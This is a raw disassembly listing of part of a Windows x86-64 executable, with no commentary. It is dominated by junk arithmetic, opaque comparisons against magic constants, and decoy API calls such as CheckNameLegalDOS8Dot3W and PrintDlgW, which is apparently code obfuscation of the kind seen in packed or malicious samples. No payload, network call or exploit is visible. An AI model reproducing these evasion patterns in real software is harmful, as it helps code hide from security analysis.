mov dword [rcx], eax
movzx eax, byte [rsp + 0x15b]
mov rcx, qword [rsp + 0x56c8]
movzx ecx, byte [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x5788]
mov byte [rcx], al
movsx eax, word [rsp + 0xa70]
shl eax, 4
mov word [rsp + 0x9c8], ax
mov eax, dword [rsp + 0x2f3c]
mov ecx, dword [rsp + 0x2f60]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x5778]
mov dword [rcx], eax
mov rax, qword [rsp + 0x5710]
mov rcx, qword [rsp + 0x5750]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov rcx, qword [rsp + 0x56e8]
mov dword [rcx], eax
movabs rax, 0x71e2bfd148354239
mov rcx, qword [rsp + 0x56c0]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x56b8], rax
mov rax, qword [rsp + 0x5778]
mov ecx, dword [rsp + 0x2ee4]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x2f60], eax
mov rax, qword [rsp + 0x5788]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x157]
sub eax, ecx
mov rcx, qword [rsp + 0x56c8]
mov byte [rcx], al
mov rax, qword [rsp + 0x5728]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xc98]
add eax, ecx
mov rcx, qword [rsp + 0x5728]
mov word [rcx], ax
movsx eax, word [rsp + 0xa70]
sub eax, 0x3629
mov word [rsp + 0x9c8], ax
mov rax, qword [rsp + 0x5778]
mov ecx, dword [rsp + 0x2f3c]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x5778]
mov dword [rcx], eax
movzx eax, word [rsp + 0xc9c]
mov rcx, qword [rsp + 0x5728]
movzx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x56f8]
mov word [rcx], ax
mov eax, dword [rsp + 0x2f60]
mov ecx, dword [rsp + 0x2ee4]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x5778]
mov dword [rcx], eax
movzx eax, word [rsp + 0xc9c]
mov rcx, qword [rsp + 0x56f8]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x5728]
mov word [rcx], ax
mov rax, qword [rsp + 0x5778]
mov ecx, dword [rsp + 0x2f3c]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x5778]
mov dword [rcx], eax
cmp dword [rsp + 0x2efc], 0xf5f0
ja 0x140058cf3
lea rax, [rsp + 0x2edc]
mov qword [rsp + 0x57c8], rax
lea rax, [rsp + 0xc98]
mov qword [rsp + 0x57d0], rax
movsx eax, word [rsp + 0xa70]
mov dword [rsp + 0x2f7c], eax
cmp dword [rsp + 0x2f7c], 0x679e
je 0x1400590a5
jmp 0x140059199
mov rax, qword [rsp + 0x56b8]
cqo
movabs rcx, 0x10fb0797fc2d487b
idiv rcx
cmp rax, qword [rsp + 0x56c0]
jne 0x14005917a
mov rax, qword [rsp + 0x5788]
movzx eax, byte [rax]
mov byte [rsp + 0x2f80], al
cmp byte [rsp + 0x2f80], 0x5f
je 0x1400590e8
jmp 0x14005911f
movzx eax, byte [rsp + 0x15c]
movzx ecx, byte [rsp + 0x15b]
shl eax, cl
mov rcx, qword [rsp + 0x56c8]
mov byte [rcx], al
movzx eax, byte [rsp + 0x157]
movzx ecx, byte [rsp + 0x15b]
sar eax, cl
mov byte [rsp + 0x15c], al
jmp 0x140059178
mov rcx, qword [rsp + 0x57d8]
call qword [sym.imp.KERNEL32.dll_SetCurrentDirectoryW]
mov dword [rsp + 0x2f28], eax
mov rax, qword [rsp + 0x56f8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x5728]
movzx ecx, word [rcx]
or eax, ecx
mov rcx, qword [rsp + 0x57d0]
mov word [rcx], ax
movzx eax, byte [rsp + 0x157]
mov rcx, qword [rsp + 0x5788]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [0x140204008], al
call fcn.1401b75d0
nop
jmp 0x140059194
movsx eax, byte [rsp + 0x159]
movsx ecx, byte [rsp + 0x15a]
xor eax, ecx
movsx ecx, byte [rsp + 0x158]
jmp 0x140059276
mov ecx, 0x31
call qword [sym.imp.KERNEL32.dll_ExitProcess]
mov rax, qword [rsp + 0x56c8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x15b]
add eax, ecx
mov rcx, qword [rsp + 0x5788]
mov byte [rcx], al
movsx eax, word [rsp + 0x9c8]
add eax, 0x4f47
mov word [rsp + 0xa70], ax
mov eax, dword [rsp + 0x2ee4]
mov ecx, dword [rsp + 0x2f3c]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x5778]
mov dword [rcx], eax
movzx eax, byte [rsp + 0x15c]
movzx ecx, byte [rsp + 0x15b]
and eax, ecx
mov byte [rsp + 0x157], al
mov eax, dword [rsp + 0x2edc]
mov ecx, dword [rsp + 0x2f68]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x5750]
mov dword [rcx], eax
mov rax, qword [rsp + 0x57d0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xc98]
xor eax, ecx
mov rcx, qword [rsp + 0x56f8]
mov word [rcx], ax
mov eax, dword [rsp + 0x2ed4]
add eax, 0x44
mov dword [rsp + 0x2ed4], eax
movzx eax, byte [rsp + 0x15b]
mov rcx, qword [rsp + 0x5788]
movzx ecx, byte [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x56c8]
mov byte [rcx], al
movabs rax, 0x5f99efd7c753a233
mov rcx, qword [rsp + 0x5790]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0x56f0], rax
mov rax, qword [rsp + 0x56c0]
shl rax, 0x30
mov qword [rsp + 0x56b8], rax
mov rax, qword [rsp + 0x5778]
mov ecx, dword [rsp + 0x2f60]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x5778]
mov dword [rcx], eax
mov rax, qword [rsp + 0x5710]
mov ecx, dword [rsp + 0x2f68]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x2edc], eax
movsx eax, word [rsp + 0x9c8]
add eax, 0x2752
mov word [rsp + 0xa70], ax
mov rax, qword [rsp + 0x57d0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x56f8]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x5728]
mov word [rcx], ax
movzx eax, word [rsp + 0xc98]
mov rcx, qword [rsp + 0x57d0]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xc9c], ax
mov rax, qword [rsp + 0x56c8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x15c]
add eax, ecx
mov rcx, qword [rsp + 0x5788]
mov byte [rcx], al
movsx eax, byte [rsp + 0x158]
movsx ecx, byte [rsp + 0x15a]
sub eax, ecx
mov byte [rsp + 0x159], al
movabs rax, 0x28fa7b15ae18066b
mov rcx, qword [rsp + 0x56b8]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x56c0], rax
mov rax, qword [rsp + 0x5750]
mov rcx, qword [rsp + 0x57c8]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x2f68], eax
mov rax, qword [rsp + 0x56c8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x15b]
and eax, ecx
mov rcx, qword [rsp + 0x5788]
mov byte [rcx], al
mov eax, dword [rsp + 0x2f3c]
mov rcx, qword [rsp + 0x5778]
mov qword [rsp + 0x57e8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x57e8]
mov eax, dword [rax]
shl eax, cl
mov rcx, qword [rsp + 0x5778]
mov dword [rcx], eax
movzx eax, word [rsp + 0xc98]
mov rcx, qword [rsp + 0x57d0]
movzx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0xc9c], ax
movsx eax, byte [rsp + 0x158]
movsx ecx, byte [rsp + 0x15a]
xor eax, ecx
mov byte [rsp + 0x159], al
movzx eax, byte [rsp + 0x15b]
movzx ecx, byte [rsp + 0x15c]
or eax, ecx
mov byte [rsp + 0x157], al
mov rax, qword [rsp + 0x56c8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x5788]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [0x140204008], al
mov rax, qword [rsp + 0x57d0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xc98]
sub eax, ecx
mov rcx, qword [rsp + 0x5728]
mov word [rcx], ax
mov rax, qword [rsp + 0x56e8]
mov ecx, dword [rsp + 0x2edc]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x5750]
mov dword [rcx], eax
mov eax, dword [rsp + 0x2ee4]
mov ecx, dword [rsp + 0x2f60]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x5778]
mov dword [rcx], eax
mov rax, qword [rsp + 0x5778]
mov ecx, dword [rsp + 0x2f60]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x5778]
mov dword [rcx], eax
mov rax, qword [rsp + 0x56e8]
mov ecx, dword [rsp + 0x2edc]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x5710]
mov dword [rcx], eax
cmp dword [rsp + 0x2ed4], 0x10503
jne 0x140059276
mov eax, dword [rsp + 0x2f60]
mov ecx, dword [rsp + 0x2ee4]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x5778]
mov ecx, dword [rcx]
mov edx, dword [rsp + 0x2f3c]
sub edx, ecx
mov ecx, edx
cmp eax, ecx
jg 0x14005969a
movzx eax, word [rsp + 0xc98]
mov dword [rsp + 0x2f88], eax
cmp dword [rsp + 0x2f88], 0x4c
je 0x140059637
cmp dword [rsp + 0x2f88], 0x4c0
je 0x14005967a
jmp 0x14005969a
mov eax, dword [rsp + 0x2f60]
mov ecx, dword [rsp + 0x2ee4]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x5778]
mov dword [rcx], eax
mov rax, qword [rsp + 0x5788]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x56c8]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x15b], al
call fcn.1401b75d0
nop
jmp 0x14005969a
movzx eax, word [rsp + 0xc98]
mov rcx, qword [rsp + 0x57d0]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x5728]
mov word [rcx], ax
movsx eax, byte [rsp + 0x159]
movsx ecx, byte [rsp + 0x15a]
sar eax, cl
movsx ecx, byte [rsp + 0x158]
cmp eax, ecx
jle 0x140059827
movsx eax, word [rsp + 0xa70]
mov dword [rsp + 0x2f8c], eax
cmp dword [rsp + 0x2f8c], 0x3f6f
je 0x1400596dd
jmp 0x140059809
lea rax, [rsp + 0x5788]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x21ef0]
mov r8d, SHSetInstanceExplorer
lea rdx, [rsp + 0x21e40]
lea rcx, str.Insensitivelyentertains
call qword [sym.imp.KERNEL32.dll_CheckNameLegalDOS8Dot3W]
mov dword [rsp + 0x2f28], eax
mov rax, qword [rsp + 0x5778]
mov ecx, dword [rsp + 0x2f60]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x2ee4], eax
mov rax, qword [rsp + 0x5728]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xc9c]
sub eax, ecx
mov rcx, qword [rsp + 0x5728]
mov word [rcx], ax
mov rax, qword [rsp + 0x5778]
mov eax, dword [rax]
mov dword [rsp + 0x2f90], eax
cmp dword [rsp + 0x2f90], 0x1a4175b1
je 0x1400597e7
cmp dword [rsp + 0x2f90], 0x30e4c6a7
je 0x14005977e
jmp 0x140059807
mov ecx, 0x78
call qword [sym.imp.KERNEL32.dll_GetProcessVersion]
mov dword [rsp + 0x2f94], eax
mov rax, qword [rsp + 0x57c8]
mov rcx, qword [rsp + 0x5750]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x5710]
mov dword [rcx], eax
movabs rax, 0xa63e4c04a17ecbf5
mov rcx, qword [rsp + 0x56f0]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x5790], rax
lea rcx, [rsp + 0x220b0]
call qword [sym.imp.COMDLG32.dll_PrintDlgW]
mov dword [rsp + 0x2f48], eax
jmp 0x140059807
movzx eax, word [rsp + 0xc9c]
mov rcx, qword [rsp + 0x56f8]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x5728]
mov word [rcx], ax
jmp 0x140059822
movsx eax, byte [rsp + 0x159]
movsx ecx, byte [rsp + 0x158]
sub eax, ecx
mov byte [rsp + 0x15a], al
jmp 0x1401b7303
movzx eax, word [rsp + 0xc98]
mov dword [rsp + 0x2f98], eax
cmp dword [rsp + 0x2f98], 0x7a5
je 0x140059845
jmp 0x140059854
call qword [sym.imp.COMDLG32.dll_CommDlgExtendedError]
mov dword [rsp + 0x2edc], eax
jmp 0x14005989b
lea rax, [rsp + 0xa70]
mov qword [rsp + 0x57f0], rax
lea rax, [rsp + 0x15b]
mov qword [rsp + 0x57f8], rax
mov rax, qword [rsp + 0x57f8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x15b]
add eax, ecx
mov byte [rsp + 0x15c], al
mov dword [rsp + 0x2f9c], 0x5625
movsx eax, word [rsp + 0x9c8]
mov rcx, qword [rsp + 0x57f0]
movsx ecx, word [rcx]
add eax, ecx
movsx ecx, word [rsp + 0xa70]
cmp eax, ecx
je 0x1400599cb
mov rax, qword [rsp + 0x57f0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x9c8]
or eax, ecx
movsx ecx, word [rsp + 0xa70]
cmp eax, ecx
jl 0x1400599c5
lea rax, [rsp + 0x5790]
mov qword [rsp + 0x5800], rax
mov dword [rsp + 0x2fa0], 0x6c40
movzx eax, byte [rsp + 0x15b]
mov byte [rsp + 0x2fa4], al
cmp byte [rsp + 0x2fa4], 0x2f
je 0x1400599a7
cmp byte [rsp + 0x2fa4], 0x65
je 0x14005992c
jmp 0x1400599c3
mov rax, qword [rsp + 0x5800]
mov rax, qword [rax]
mov qword [rsp + 0x5808], rax
movabs rax, 0x78c3085974324089
cmp qword [rsp + 0x5808], rax
je 0x140059991
movabs rax, 0x99197ddb64464887
cmp qword [rsp + 0x5808], rax
je 0x140059969
jmp 0x1400599a5
mov rax, qword [rsp + 0x5750]
mov rcx, qword [rsp + 0x5710]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov rcx, qword [rsp + 0x5750]
mov dword [rcx], eax
call fcn.1401b8470
nop
jmp 0x1400599a5
mov rax, qword [rsp + 0x56b8]
sar rax, 5
mov qword [rsp + 0x56c0], rax
jmp 0x1400599c3
mov eax, dword [rsp + 0x2f3c]
mov ecx, dword [rsp + 0x2f60]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x5778]
mov dword [rcx], eax
jmp 0x1400599cb
call fcn.1401b75d0
nop
cmp dword [rsp + 0x2fa0], 0x5180
jb 0x140059fb4
mov rax, qword [rsp + 0x5788]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x56c8]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x57f8]
mov byte [rcx], al
mov rax, qword [rsp + 0x57f0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xa70]
sub eax, ecx
mov rcx, qword [rsp + 0x57f0]
mov word [rcx], ax
movzx eax, byte [rsp + 0x157]
movzx ecx, byte [rsp + 0x15b]
sub eax, ecx
mov byte [0x140204008], al
movsx eax, word [rsp + 0xa70]
mov rcx, qword [rsp + 0x57f0]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x9c8], ax
mov rax, qword [rsp + 0x5728]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xc98]
and eax, ecx
mov word [rsp + 0xc9c], ax
mov eax, dword [rsp + 0x2ee4]
mov ecx, dword [rsp + 0x2f60]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x5778]
mov dword [rcx], eax
mov rax, qword [rsp + 0x5800]
mov rcx, qword [rsp + 0x5790]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x56f0], rax
mov rax, qword [rsp + 0x5710]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2f68]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x5750]
mov dword [rcx], eax
movabs rax, 0x27d70cbbddc24b32
mov rcx, qword [rsp + 0x56c0]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x56b8], rax
mov rax, qword [rsp + 0x56f8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x5728]
movzx ecx, word [rcx]
shl eax, cl
mov rcx, qword [rsp + 0x57d0]
mov word [rcx], ax
mov rax, qword [rsp + 0x56c8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x15c]
sar eax, cl
mov rcx, qword [rsp + 0x5788]
mov byte [rcx], al
mov eax, dword [rsp + 0x2fa0]
sub eax, 0x6b
mov dword [rsp + 0x2fa0], eax
movzx eax, byte [rsp + 0x15b]
movzx ecx, byte [rsp + 0x157]
xor eax, ecx
mov byte [0x140204008], al
mov rax, qword [rsp + 0x57f0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xa70]
or eax, ecx
mov rcx, qword [rsp + 0x57f0]
mov word [rcx], ax
movsx eax, word [rsp + 0x9c8]
mov rcx, qword [rsp + 0x57f0]
movsx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0xa70], ax
mov rax, qword [rsp + 0x5800]
mov rcx, qword [rsp + 0x5790]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x5800]
mov qword [rcx], rax
mov rax, qword [rsp + 0x5790]
mov rcx, qword [rsp + 0x56f0]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x5800]
mov qword [rcx], rax
mov rax, qword [rsp + 0x5778]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2ee4]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x2f60], eax
mov rax, qword [rsp + 0x56e8]
mov ecx, dword [rsp + 0x2edc]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x2f68], eax
movsx eax, word [rsp + 0xa70]
mov rcx, qword [rsp + 0x57f0]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x9c8], ax
mov rax, qword [rsp + 0x56f8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xc98]
and eax, ecx
mov rcx, qword [rsp + 0x57d0]
mov word [rcx], ax
movzx eax, byte [rsp + 0x157]
mov rcx, qword [rsp + 0x5788]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [0x140204008], al
movzx eax, byte [rsp + 0x15c]
movzx ecx, byte [0x140204008]
sub eax, ecx
mov rcx, qword [rsp + 0x57f8]
mov byte [rcx], al
movzx eax, byte [rsp + 0x15c]
mov rcx, qword [rsp + 0x56c8]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x57f8]
mov byte [rcx], al
mov rax, qword [rsp + 0x56e8]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x57c8]
mov qword [rsp + 0x5810], rcx
movzx ecx, al
mov rax, qword [rsp + 0x5810]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x2edc], eax
mov rax, qword [rsp + 0x5790]
movzx ecx, al
mov rax, qword [rsp + 0x56f0]
shr rax, cl
mov rcx, qword [rsp + 0x5800]
mov qword [rcx], rax
movabs rax, 0x2c14cc91162f82c
mov rcx, qword [rsp + 0x56c0]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0x56b8], rax
mov rax, qword [rsp + 0x5778]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2ee4]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x2f60], eax
mov rax, qword [rsp + 0x57f0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x9c8]
and eax, ecx
mov word [rsp + 0xa70], ax
mov rax, qword [rsp + 0x56c8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x15b]
sub eax, ecx
mov rcx, qword [rsp + 0x56c8]
mov byte [rcx], al
mov rax, qword [rsp + 0x5778]
mov ecx, dword [rsp + 0x2f60]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x5778]
mov dword [rcx], eax
movzx eax, word [rsp + 0xc9c]
mov rcx, qword [rsp + 0x57d0]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x56f8]
mov word [rcx], ax
mov rax, qword [rsp + 0x57f0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xa70]
add eax, ecx
mov rcx, qword [rsp + 0x57f0]
mov word [rcx], ax
mov rax, qword [rsp + 0x5778]
mov ecx, dword [rsp + 0x2ee4]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x5778]
mov dword [rcx], eax
movabs rax, 0x5a742f8d5ebf8759
mov rcx, qword [rsp + 0x56c0]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x56b8], rax
mov rax, qword [rsp + 0x5790]
mov rcx, qword [rsp + 0x56f0]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x5800]
mov qword [rcx], rax
mov rax, qword [rsp + 0x5750]
mov rcx, qword [rsp + 0x56e8]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x5750]
mov dword [rcx], eax
movzx eax, word [rsp + 0xc9c]
movzx ecx, word [rsp + 0xc98]
sar eax, cl
mov rcx, qword [rsp + 0x57d0]
mov word [rcx], ax
movsx eax, word [rsp + 0x9c8]
movsx ecx, word [rsp + 0xa70]
or eax, ecx
mov rcx, qword [rsp + 0x57f0]
mov word [rcx], ax
mov rax, qword [rsp + 0x57f0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x9c8]
xor eax, ecx
mov rcx, qword [rsp + 0x57f0]
mov word [rcx], ax
mov rax, qword [rsp + 0x57f8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x56c8]
movzx ecx, byte [rcx]
shl eax, cl
mov byte [0x140204008], al
movsx eax, byte [rsp + 0x158]
movsx ecx, byte [rsp + 0x15a]
add eax, ecx
mov byte [rsp + 0x159], al
movabs rax, 0x25201a0676a858e5
mov rcx, qword [rsp + 0x56b8]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x56c0], rax
mov rax, qword [rsp + 0x5750]
mov eax, dword [rax]
mov dword [rsp + 0x2f94], eax
mov rax, qword [rsp + 0x5800]
mov rcx, qword [rsp + 0x5790]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x56f0], rax
mov rax, qword [rsp + 0x5778]
mov ecx, dword [rsp + 0x2ee4]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x2f3c], eax
movzx eax, word [rsp + 0xc9c]
movzx ecx, word [rsp + 0xc98]
sub eax, ecx
mov rcx, qword [rsp + 0x56f8]
mov word [rcx], ax
mov rax, qword [rsp + 0x5788]
movzx eax, byte [rax]
movzx ecx, byte [0x140204008]
sub eax, ecx
mov rcx, qword [rsp + 0x56c8]
mov byte [rcx], al
mov rax, qword [rsp + 0x5788]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x157]
add eax, ecx
mov rcx, qword [rsp + 0x5788]
mov byte [rcx], al
movzx eax, byte [rsp + 0x15c]
movzx ecx, byte [rsp + 0x157]
add eax, ecx
mov rcx, qword [rsp + 0x5788]
mov byte [rcx], al
jmp 0x1400599cb
mov rax, qword [rsp + 0x5778]
mov ecx, dword [rsp + 0x2f60]
mov eax, dword [rax]
sub eax, ecx
mov ecx, dword [rsp + 0x2ee4]
mov edx, dword [rsp + 0x2f3c]
and edx, ecx
mov ecx, edx
cmp eax, ecx
jge 0x14005a0a0
call qword [sym.imp.COMDLG32.dll_CommDlgExtendedError]
mov dword [rsp + 0x2fa8], eax
mov rax, qword [rsp + 0x5728]
movzx eax, word [rax]
mov dword [rsp + 0x2fac], eax
cmp dword [rsp + 0x2fac], 0xaed
je 0x14005a083
cmp dword [rsp + 0x2fac], 0xf0d
je 0x14005a01f
jmp 0x14005a0a0
mov rax, qword [rsp + 0x57f8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x56c8]
movzx ecx, byte [rcx]
shl eax, cl
mov rcx, qword [rsp + 0x5788]
mov byte [rcx], al
mov rax, qword [rsp + 0x5800]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x5790]
shr rax, cl
mov qword [rsp + 0x56f0], rax
mov rax, qword [rsp + 0x5710]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2f68]
xor ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x56e8]
mov dword [rcx], eax
jmp 0x14005a0a0
mov rax, qword [rsp + 0x5710]
mov rcx, qword [rsp + 0x5750]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x2f94], eax
movzx eax, byte [rsp + 0x159]
mov byte [rsp + 0x2fb0], al
cmp byte [rsp + 0x2fb0], 0
je 0x14005a0cc
cmp byte [rsp + 0x2fb0], 0x77
je 0x14005a1bc
jmp 0x14005a215
movzx eax, word [rsp + 0xc9c]
mov dword [rsp + 0x2fb4], eax
cmp dword [rsp + 0x2fb4], 0
je 0x14005a0fb
cmp dword [rsp + 0x2fb4], 0xd4
je 0x14005a19a
jmp 0x14005a1ba
movzx eax, word [rsp + 0xc9c]
mov dword [rsp + 0x2fb8], eax
cmp dword [rsp + 0x2fb8], 0
je 0x14005a116
jmp 0x14005a183
lea rax, [rsp + 0x2ee4]
mov qword [rsp + 0x5818], rax
lea rax, [rsp + 0xa70]
mov qword [rsp + 0x5820], rax
movzx eax, byte [rsp + 0x15a]
mov byte [rsp + 0x15d], al
movzx eax, word [rsp + 0xc98]
mov word [rsp + 0xca0], ax
mov eax, dword [rsp + 0x2fa8]
mov dword [0x140205210], eax
mov rax, qword [rsp + 0x56c8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x5788]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x157], al
jmp 0x14005a198
lea rcx, [rsp + 0x222b0]
call qword [sym.imp.COMDLG32.dll_GetSaveFileNameW]
mov dword [rsp + 0x2f6c], eax
jmp 0x14005a1ba
mov rax, qword [rsp + 0x57f0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x9c8]
add eax, ecx
mov rcx, qword [rsp + 0x5820]
mov word [rcx], ax
jmp 0x14005a215
call qword [sym.imp.COMDLG32.dll_CommDlgExtendedError]
mov dword [rsp + 0x2edc], eax
mov rax, qword [rsp + 0x5728]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xca0]
and eax, ecx
mov word [rsp + 0xc98], ax
mov eax, dword [rsp + 0x2f60]
mov ecx, dword [rsp + 0x2ee4]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x5818]
mov dword [rcx], eax
call qword [sym.imp.COMDLG32.dll_CommDlgExtendedError]
mov dword [rsp + 0x2fa8], eax
call fcn.1401b75d0
nop
mov rax, qword [rsp + 0x56c8]
movzx eax, byte [rax]
mov byte [rsp + 0x2fbc], al
cmp byte [rsp + 0x2fbc], 0
je 0x14005a236
jmp 0x1401b720f
mov rax, qword [rsp + 0x56c8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x5788]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0xe8], al
mov rax, qword [rsp + 0x5788]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x56c8]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0xe8], al
movsx eax, byte [rsp + 0x15d]
movsx ecx, byte [rsp + 0x159]
shl eax, cl
mov byte [rsp + 0x15a], al
lea rax, [rsp + 0x56b8]
mov qword [rsp + 0x5828], rax
mov eax, dword [rsp + 0x2edc]
mov dword [rsp + 0x2fc0], eax
mov rax, qword [rsp + 0x5818]
mov ecx, dword [rsp + 0x2f3c]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x2f60], eax
mov rax, qword [rsp + 0x5790]
mov qword [rsp + 0x5830], rax
movabs rax, 0x7ff4d77b91d9c8b
cmp qword [rsp + 0x5830], rax
je 0x14005a2ee
jmp 0x14005a3ae
mov rax, qword [rsp + 0x5800]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x56f0]
shr rax, cl
cmp rax, qword [rsp + 0x5790]
jbe 0x14005a369
mov rax, qword [rsp + 0x5790]
mov qword [rsp + 0x5838], rax
movabs rax, 0xfc5c880626e19952
cmp qword [rsp + 0x5838], rax
je 0x14005a337
jmp 0x14005a346
mov ecx, dword [rsp + 0x2ee4]
call fcn.1401b7810
nop
jmp 0x14005a367
mov rax, qword [rsp + 0x5800]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x5790]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x56f0], rax
jmp 0x14005a3a9
mov rax, qword [rsp + 0x5828]
mov rcx, qword [rsp + 0x56c0]
mov rax, qword [rax]
or rax, rcx
cmp rax, qword [rsp + 0x56b8]
jle 0x14005a3a9
mov rax, qword [rsp + 0x5728]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xc98]
add eax, ecx
mov rcx, qword [rsp + 0x56f8]
mov word [rcx], ax
jmp 0x14005a484
mov rax, qword [rsp + 0x57f0]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x5820]
movsx ecx, word [rcx]
sub eax, ecx
movsx ecx, word [rsp + 0xa70]
movsx edx, word [rsp + 0xca4]
and ecx, edx
cmp eax, ecx
jne 0x14005a484
movsx eax, byte [rsp + 0x15a]
movsx ecx, byte [rsp + 0x159]
sub eax, ecx
movsx ecx, byte [rsp + 0x15d]
